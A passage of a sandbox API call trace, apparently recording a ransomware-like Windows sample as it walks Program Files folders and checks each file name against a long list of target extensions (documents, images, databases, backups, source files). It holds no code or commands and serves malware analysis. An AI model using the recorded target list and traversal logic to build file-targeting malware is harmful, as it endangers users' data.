(lpString1=".eps", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".epsf") returned 5 [0139.676] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0139.676] lstrlenW (lpString=".epsp") returned 5 [0139.676] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0139.676] lstrlenW (lpString=".erf") returned 4 [0139.676] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".exr") returned 4 [0139.676] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".f4v") returned 4 [0139.676] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".fido") returned 5 [0139.676] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0139.676] lstrlenW (lpString=".flm") returned 4 [0139.676] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".flv") returned 4 [0139.676] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".frm") returned 4 [0139.676] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0139.676] lstrlenW (lpString=".fxg") returned 4 [0139.677] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".geo") returned 4 [0139.677] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".gif") returned 4 [0139.677] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".grs") returned 4 [0139.677] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".gz") returned 3 [0139.677] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0139.677] lstrlenW (lpString=".h") returned 2 [0139.677] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0139.677] lstrlenW (lpString=".hdr") returned 4 [0139.677] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".hpp") returned 4 [0139.677] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".hta") returned 4 [0139.677] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".htc") returned 4 [0139.677] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".htm") returned 4 [0139.677] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".html") returned 5 [0139.677] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0139.677] lstrlenW (lpString=".icb") returned 4 [0139.677] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0139.677] lstrlenW (lpString=".ics") returned 4 [0139.677] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0139.678] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0139.678] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0139.678] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0 [0139.678] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0139.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0139.679] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0139.679] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0139.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0139.679] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0139.679] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0139.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.681] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.681] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0139.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.681] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bed8 [0139.687] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.687] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.687] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.688] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.689] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.689] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.689] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.689] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.689] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.689] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0139.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.690] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.690] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.690] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0139.690] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0139.690] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0139.690] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0139.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5b898 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.691] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.692] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.692] lstrlenW (lpString="DataLayer.dll") returned 13 [0139.692] lstrlenW (lpString=".1cd") returned 4 [0139.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.692] lstrlenW (lpString=".3ds") returned 4 [0139.692] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0139.692] lstrlenW (lpString=".3fr") returned 4 [0139.692] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0139.692] lstrlenW (lpString=".3g2") returned 4 [0139.692] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0139.692] lstrlenW (lpString=".3gp") returned 4 [0139.692] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0139.692] lstrlenW (lpString=".7z") returned 3 [0139.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.692] lstrlenW (lpString=".accda") returned 6 [0139.692] lstrcmpiW (lpString1=".accda", lpString2="er.dll") returned -1 [0139.692] lstrlenW (lpString=".accdb") returned 6 [0139.692] lstrcmpiW (lpString1=".accdb", lpString2="er.dll") returned -1 [0139.692] lstrlenW (lpString=".accdc") returned 6 [0139.692] lstrcmpiW (lpString1=".accdc", lpString2="er.dll") returned -1 [0139.692] lstrlenW (lpString=".accde") returned 6 [0139.692] lstrcmpiW (lpString1=".accde", lpString2="er.dll") returned -1 [0139.692] lstrlenW (lpString=".accdt") returned 6 [0139.692] lstrcmpiW (lpString1=".accdt", lpString2="er.dll") returned -1 [0139.692] lstrlenW (lpString=".accdw") returned 6 [0139.692] lstrcmpiW (lpString1=".accdw", lpString2="er.dll") returned -1 [0139.693] lstrlenW (lpString=".adb") returned 4 [0139.693] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".adp") returned 4 [0139.693] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai") returned 3 [0139.693] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0139.693] lstrlenW (lpString=".ai3") returned 4 [0139.693] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai4") returned 4 [0139.693] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai5") returned 4 [0139.693] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai6") returned 4 [0139.693] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai7") returned 4 [0139.693] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ai8") returned 4 [0139.693] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".anim") returned 5 [0139.693] lstrcmpiW (lpString1=".anim", lpString2="r.dll") returned -1 [0139.693] lstrlenW (lpString=".arw") returned 4 [0139.693] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".as") returned 3 [0139.693] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0139.693] lstrlenW (lpString=".asa") returned 4 [0139.693] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".asc") returned 4 [0139.693] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".ascx") returned 5 [0139.693] lstrcmpiW (lpString1=".ascx", lpString2="r.dll") returned -1 [0139.693] lstrlenW (lpString=".asm") returned 4 [0139.693] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0139.693] lstrlenW (lpString=".asmx") returned 5 [0139.693] lstrcmpiW (lpString1=".asmx", lpString2="r.dll") returned -1 [0139.693] lstrlenW (lpString=".asp") returned 4 [0139.694] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".aspx") returned 5 [0139.694] lstrcmpiW (lpString1=".aspx", lpString2="r.dll") returned -1 [0139.694] lstrlenW (lpString=".asr") returned 4 [0139.694] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".asx") returned 4 [0139.694] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".avi") returned 4 [0139.694] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".avs") returned 4 [0139.694] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".backup") returned 7 [0139.694] lstrcmpiW (lpString1=".backup", lpString2="yer.dll") returned -1 [0139.694] lstrlenW (lpString=".bak") returned 4 [0139.694] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".bay") returned 4 [0139.694] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".bd") returned 3 [0139.694] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0139.694] lstrlenW (lpString=".bin") returned 4 [0139.694] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".bmp") returned 4 [0139.694] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".bz2") returned 4 [0139.694] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".c") returned 2 [0139.694] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0139.694] lstrlenW (lpString=".cdr") returned 4 [0139.694] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".cer") returned 4 [0139.694] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0139.694] lstrlenW (lpString=".cf") returned 3 [0139.694] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0139.695] lstrlenW (lpString=".cfc") returned 4 [0139.695] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".cfm") returned 4 [0139.695] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".cfml") returned 5 [0139.695] lstrcmpiW (lpString1=".cfml", lpString2="r.dll") returned -1 [0139.695] lstrlenW (lpString=".cfu") returned 4 [0139.695] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".chm") returned 4 [0139.695] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".cin") returned 4 [0139.695] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".class") returned 6 [0139.695] lstrcmpiW (lpString1=".class", lpString2="er.dll") returned -1 [0139.695] lstrlenW (lpString=".clx") returned 4 [0139.695] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".config") returned 7 [0139.695] lstrcmpiW (lpString1=".config", lpString2="yer.dll") returned -1 [0139.695] lstrlenW (lpString=".cpp") returned 4 [0139.695] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".cr2") returned 4 [0139.695] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".crt") returned 4 [0139.695] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".crw") returned 4 [0139.695] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".cs") returned 3 [0139.695] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0139.695] lstrlenW (lpString=".css") returned 4 [0139.695] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0139.695] lstrlenW (lpString=".csv") returned 4 [0139.696] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".cub") returned 4 [0139.696] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dae") returned 4 [0139.696] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dat") returned 4 [0139.696] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".db") returned 3 [0139.696] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0139.696] lstrlenW (lpString=".dbf") returned 4 [0139.696] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dbx") returned 4 [0139.696] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dc3") returned 4 [0139.696] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dcm") returned 4 [0139.696] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dcr") returned 4 [0139.696] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".der") returned 4 [0139.696] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dib") returned 4 [0139.696] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dic") returned 4 [0139.696] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".dif") returned 4 [0139.696] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0139.696] lstrlenW (lpString=".divx") returned 5 [0139.696] lstrcmpiW (lpString1=".divx", lpString2="r.dll") returned -1 [0139.696] lstrlenW (lpString=".djvu") returned 5 [0139.696] lstrcmpiW (lpString1=".djvu", lpString2="r.dll") returned -1 [0139.696] lstrlenW (lpString=".dng") returned 4 [0139.696] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".doc") returned 4 [0139.697] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".docm") returned 5 [0139.697] lstrcmpiW (lpString1=".docm", lpString2="r.dll") returned -1 [0139.697] lstrlenW (lpString=".docx") returned 5 [0139.697] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0139.697] lstrlenW (lpString=".dot") returned 4 [0139.697] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dotm") returned 5 [0139.697] lstrcmpiW (lpString1=".dotm", lpString2="r.dll") returned -1 [0139.697] lstrlenW (lpString=".dotx") returned 5 [0139.697] lstrcmpiW (lpString1=".dotx", lpString2="r.dll") returned -1 [0139.697] lstrlenW (lpString=".dpx") returned 4 [0139.697] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dqy") returned 4 [0139.697] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dsn") returned 4 [0139.697] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dt") returned 3 [0139.697] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0139.697] lstrlenW (lpString=".dtd") returned 4 [0139.697] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dwg") returned 4 [0139.697] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dwt") returned 4 [0139.697] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0139.697] lstrlenW (lpString=".dx") returned 3 [0139.697] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0139.697] lstrlenW (lpString=".dxf") returned 4 [0139.697] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0139.698] lstrlenW (lpString=".edml") returned 5 [0139.698] lstrcmpiW (lpString1=".edml", lpString2="r.dll") returned -1 [0139.698] lstrlenW (lpString=".efd") returned 4 [0139.698] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0139.698] lstrlenW (lpString=".elf") returned 4 [0139.698] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0139.698] lstrlenW (lpString=".emf") returned 4 [0139.698] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0139.698] lstrlenW (lpString=".emz") returned 4 [0139.698] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0139.698] lstrlenW (lpString=".epf") returned 4 [0139.698] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0139.868] lstrlenW (lpString=".eps") returned 4 [0139.869] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".epsf") returned 5 [0139.869] lstrcmpiW (lpString1=".epsf", lpString2="r.dll") returned -1 [0139.869] lstrlenW (lpString=".epsp") returned 5 [0139.869] lstrcmpiW (lpString1=".epsp", lpString2="r.dll") returned -1 [0139.869] lstrlenW (lpString=".erf") returned 4 [0139.869] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".exr") returned 4 [0139.869] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".f4v") returned 4 [0139.869] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".fido") returned 5 [0139.869] lstrcmpiW (lpString1=".fido", lpString2="r.dll") returned -1 [0139.869] lstrlenW (lpString=".flm") returned 4 [0139.869] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".flv") returned 4 [0139.869] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".frm") returned 4 [0139.869] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".fxg") returned 4 [0139.869] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".geo") returned 4 [0139.869] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".gif") returned 4 [0139.869] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".grs") returned 4 [0139.869] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0139.869] lstrlenW (lpString=".gz") returned 3 [0139.869] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0139.869] lstrlenW (lpString=".h") returned 2 [0139.869] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0139.869] lstrlenW (lpString=".hdr") returned 4 [0139.870] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".hpp") returned 4 [0139.870] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".hta") returned 4 [0139.870] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".htc") returned 4 [0139.870] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".htm") returned 4 [0139.870] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".html") returned 5 [0139.870] lstrcmpiW (lpString1=".html", lpString2="r.dll") returned -1 [0139.870] lstrlenW (lpString=".icb") returned 4 [0139.870] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".ics") returned 4 [0139.870] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".iff") returned 4 [0139.870] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".inc") returned 4 [0139.870] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".indd") returned 5 [0139.870] lstrcmpiW (lpString1=".indd", lpString2="r.dll") returned -1 [0139.870] lstrlenW (lpString=".ini") returned 4 [0139.870] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".iqy") returned 4 [0139.870] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0139.870] lstrlenW (lpString=".j2c") returned 4 [0139.870] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0139.871] lstrlenW (lpString=".j2k") returned 4 [0139.884] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0139.884] lstrlenW (lpString=".java") returned 5 [0139.884] lstrcmpiW (lpString1=".java", lpString2="r.dll") returned -1 [0139.884] lstrlenW (lpString=".jp2") returned 4 [0139.884] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0139.884] lstrlenW (lpString=".jpc") returned 4 [0139.884] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0139.884] lstrlenW (lpString=".jpe") returned 4 [0139.884] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0139.884] lstrlenW (lpString=".jpeg") returned 5 [0139.885] lstrcmpiW (lpString1=".jpeg", lpString2="r.dll") returned -1 [0139.885] lstrlenW (lpString=".jpf") returned 4 [0139.885] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".jpg") returned 4 [0139.885] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".jpx") returned 4 [0139.885] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".js") returned 3 [0139.885] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0139.885] lstrlenW (lpString=".jsf") returned 4 [0139.885] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".json") returned 5 [0139.885] lstrcmpiW (lpString1=".json", lpString2="r.dll") returned -1 [0139.885] lstrlenW (lpString=".jsp") returned 4 [0139.885] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".kdc") returned 4 [0139.885] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".kmz") returned 4 [0139.885] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".kwm") returned 4 [0139.885] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".lasso") returned 6 [0139.885] lstrcmpiW (lpString1=".lasso", lpString2="er.dll") returned -1 [0139.885] lstrlenW (lpString=".lbi") returned 4 [0139.885] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".lgf") returned 4 [0139.885] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".lgp") returned 4 [0139.885] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0139.885] lstrlenW (lpString=".log") returned 4 [0139.886] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".m1v") returned 4 [0139.886] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".m4a") returned 4 [0139.886] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".m4v") returned 4 [0139.886] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0139.886] lstrlenW 